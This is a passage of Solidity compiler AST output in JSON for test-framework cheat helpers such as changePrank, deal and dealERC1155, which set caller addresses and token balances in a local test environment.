external"}},"id":5794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26442:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5795,"nodeType":"ExpressionStatement","src":"26442:24:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"changePrank","nameLocation":"26264:11:3","parameters":{"id":5779,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5778,"mutability":"mutable","name":"msgSender","nameLocation":"26284:9:3","nodeType":"VariableDeclaration","scope":5797,"src":"26276:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5777,"name":"address","nodeType":"ElementaryTypeName","src":"26276:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"26275:19:3"},"returnParameters":{"id":5780,"nodeType":"ParameterList","parameters":[],"src":"26312:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5817,"nodeType":"FunctionDefinition","src":"26479:150:3","nodes":[],"body":{"id":5816,"nodeType":"Block","src":"26554:75:3","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5804,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26564:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5806,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26567:9:3","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"26564:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":5807,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26564:14:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5808,"nodeType":"ExpressionStatement","src":"26564:14:3"},{"expression":{"arguments":[{"id":5812,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5799,"src":"26602:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5813,"name":"txOrigin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5801,"src":"26613:8:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5809,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26588:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5811,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26591:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"26588:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5814,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26588:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5815,"nodeType":"ExpressionStatement","src":"26588:34:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"changePrank","nameLocation":"26488:11:3","parameters":{"id":5802,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5799,"mutability":"mutable","name":"msgSender","nameLocation":"26508:9:3","nodeType":"VariableDeclaration","scope":5817,"src":"26500:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5798,"name":"address","nodeType":"ElementaryTypeName","src":"26500:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5801,"mutability":"mutable","name":"txOrigin","nameLocation":"26527:8:3","nodeType":"VariableDeclaration","scope":5817,"src":"26519:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5800,"name":"address","nodeType":"ElementaryTypeName","src":"26519:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"26499:37:3"},"returnParameters":{"id":5803,"nodeType":"ParameterList","parameters":[],"src":"26554:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5832,"nodeType":"FunctionDefinition","src":"26720:91:3","nodes":[],"body":{"id":5831,"nodeType":"Block","src":"26777:34:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5827,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5819,"src":"26795:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5828,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5821,"src":"26799:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5824,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26787:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5826,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26790:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"26787:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5829,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26787:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5830,"nodeType":"ExpressionStatement","src":"26787:17:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deal","nameLocation":"26729:4:3","parameters":{"id":5822,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5819,"mutability":"mutable","name":"to","nameLocation":"26742:2:3","nodeType":"VariableDeclaration","scope":5832,"src":"26734:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5818,"name":"address","nodeType":"ElementaryTypeName","src":"26734:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5821,"mutability":"mutable","name":"give","nameLocation":"26754:4:3","nodeType":"VariableDeclaration","scope":5832,"src":"26746:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5820,"name":"uint256","nodeType":"ElementaryTypeName","src":"26746:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26733:26:3"},"returnParameters":{"id":5823,"nodeType":"ParameterList","parameters":[],"src":"26777:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5849,"nodeType":"FunctionDefinition","src":"26935:117:3","nodes":[],"body":{"id":5848,"nodeType":"Block","src":"27007:45:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5842,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5834,"src":"27022:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5843,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5836,"src":"27029:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5844,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5838,"src":"27033:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"66616c7365","id":5845,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"27039:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":5841,"name":"deal","nodeType":"Identifier","overloadedDeclarations":[5832,5849,5972],"referencedDeclaration":5972,"src":"27017:4:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bool_$returns$__$","typeString":"function (address,address,uint256,bool)"}},"id":5846,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27017:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5847,"nodeType":"ExpressionStatement","src":"27017:28:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deal","nameLocation":"26944:4:3","parameters":{"id":5839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5834,"mutability":"mutable","name":"token","nameLocation":"26957:5:3","nodeType":"VariableDeclaration","scope":5849,"src":"26949:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5833,"name":"address","nodeType":"ElementaryTypeName","src":"26949:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5836,"mutability":"mutable","name":"to","nameLocation":"26972:2:3","nodeType":"VariableDeclaration","scope":5849,"src":"26964:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5835,"name":"address","nodeType":"ElementaryTypeName","src":"26964:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5838,"mutability":"mutable","name":"give","nameLocation":"26984:4:3","nodeType":"VariableDeclaration","scope":5849,"src":"26976:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5837,"name":"uint256","nodeType":"ElementaryTypeName","src":"26976:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26948:41:3"},"returnParameters":{"id":5840,"nodeType":"ParameterList","parameters":[],"src":"27007:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5869,"nodeType":"FunctionDefinition","src":"27178:147:3","nodes":[],"body":{"id":5868,"nodeType":"Block","src":"27269:56:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5861,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5851,"src":"27291:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5862,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5853,"src":"27298:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5863,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5855,"src":"27302:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":5864,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5857,"src":"27306:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"66616c7365","id":5865,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"27312:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":5860,"name":"dealERC1155","nodeType":"Identifier","overloadedDeclarations":[5869,6093],"referencedDeclaration":6093,"src":"27279:11:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_uint256_$_t_bool_$returns$__$","typeString":"function (address,address,uint256,uint256,bool)"}},"id":5866,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27279:39:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5867,"nodeType":"ExpressionStatement","src":"27279:39:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dealERC1155","nameLocation":"27187:11:3","parameters":{"id":5858,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5851,"mutability":"mutable","name":"token","nameLocation":"27207:5:3","nodeType":"VariableDeclaration","scope":5869,"src":"27199:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5850,"name":"address","nodeType":"ElementaryTypeName","src":"27199:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5853,"mutability":"mutable","name":"to","nameLocation":"27222:2:3","nodeType":"VariableDeclaration","scope":5869,"src":"27214:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5852,"name":"address","nodeType":"ElementaryTypeName","src":"27214:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5855,"mutability":"mutable","name":"id","nameLocation":"27234:2:3","nodeType":"VariableDeclaration","scope":5869,"src":"27226:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5854,"name":"uint256","nodeType":"ElementaryTypeName","src":"27226:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":5857,"mutability":"mutable","name":"give","nameLocation":"27246:4:3","nodeType":"VariableDeclaration","scope":5869,"src":"27238:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5856,"name":"uint256","nodeType":"ElementaryTypeName","src":"27238:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"27198:53:3"},"returnParameters":{"id":5859,"nodeType":"ParameterList","parameters":[],"src":"27269:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5972,"nodeType":"FunctionDefinition","src":"27331:837:3","nodes":[],"body":{"id":5971,"nodeType":"Block","src":"27416:752:3","nodes":[],"statements":[{"assignments":[null,5881],"declarations":[null,{"constant":false,"id":5881,"mutability":"mutable","name":"balData","nameLocation":"27473:7:3","nodeType":"VariableDeclaration","scope":5971,"src":"27460:20:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5880,"name":"bytes","nodeType":"ElementaryTypeName","src":"27460:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5890,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783730613038323331","id":5886,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"27524:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"},{"id":5887,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5873,"src":"27536:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5884,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27501:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5885,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27505:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"27501:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":5888,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27501:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5882,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5871,"src":"27484:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5883,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"27490:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"27484:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":5889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27484:56:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"27457:83:3"},{"assignments":[5892],"declarations":[{"constant":false,"id":5892,"mutability":"mutable","name":"prevBal","nameLocation":"27558:7:3","nodeType":"VariableDeclaration","scope":5971,"src":"27550:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5891,"name":"uint256","nodeType":"ElementaryTypeName","src":"27550:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5900,"initialValue":{"arguments":[{"id":5895,"name":"balData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5881,"src":"27579:7:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":5897,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"27589:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5896,"name":"uint256","nodeType":"ElementaryTypeName","src":"27589:7:3","typeDescriptions":{}}}],"id":5898,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"27588:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":5893,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27568:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5894,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27572:6:3","memberName":"decode","nodeType":"MemberAccess","src":"27568:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":5899,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27568:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"27550:48:3"},{"expression":{"arguments":[{"id":5913,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5875,"src":"27701:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":5910,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5873,"src":"27683:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"hexValue":"30783730613038323331","id":5907,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"27662:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"}],"expression":{"arguments":[{"id":5904,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5871,"src":"27651:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5901,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"27635:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":5903,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"27644:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"27635:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":5905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27635:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5906,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"27658:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"27635:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":5908,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27635:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5909,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"27674:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8915,"src":"27635:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":5911,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27635:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":5912,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"27687:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"27635:65:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":5914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27635:71:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5915,"nodeType":"ExpressionStatement","src":"27635:71:3"},{"condition":{"id":5916,"name":"adjust","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5877,"src":"27752:6:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5970,"nodeType":"IfStatement","src":"27748:414:3","trueBody":{"id":5969,"nodeType":"Block","src":"27760:402:3","statements":[{"assignments":[null,5918],"declarations":[null,{"constant":false,"id":5918,"mutability":"mutable","name":"totSupData","nameLocation":"27790:10:3","nodeType":"VariableDeclaration","scope":5969,"src":"27777:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5917,"name":"bytes","nodeType":"ElementaryTypeName","src":"27777:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5926,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783138313630646464","id":5923,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"27844:10:3","typeDescriptions":{"typeIdentifier":"t_rational_404098525_by_1","typeString":"int_const 404098525"},"value":"0x18160ddd"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_404098525_by_1","typeString":"int_const 404098525"}],"expression":{"id":5921,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27821:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5922,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27825:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"27821:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":5924,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27821:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5919,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5871,"src":"27804:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5920,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"27810:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"27804:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":5925,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27804:52:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"27774:82:3"},{"assignments":[5928],"declarations":[{"constant":false,"id":5928,"mutability":"mutable","name":"totSup","nameLocation":"27878:6:3","nodeType":"VariableDeclaration","scope":5969,"src":"27870:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5927,"name":"uint256","nodeType":"ElementaryTypeName","src":"27870:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5936,"initialValue":{"arguments":[{"id":5931,"name":"totSupData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5918,"src":"27898:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 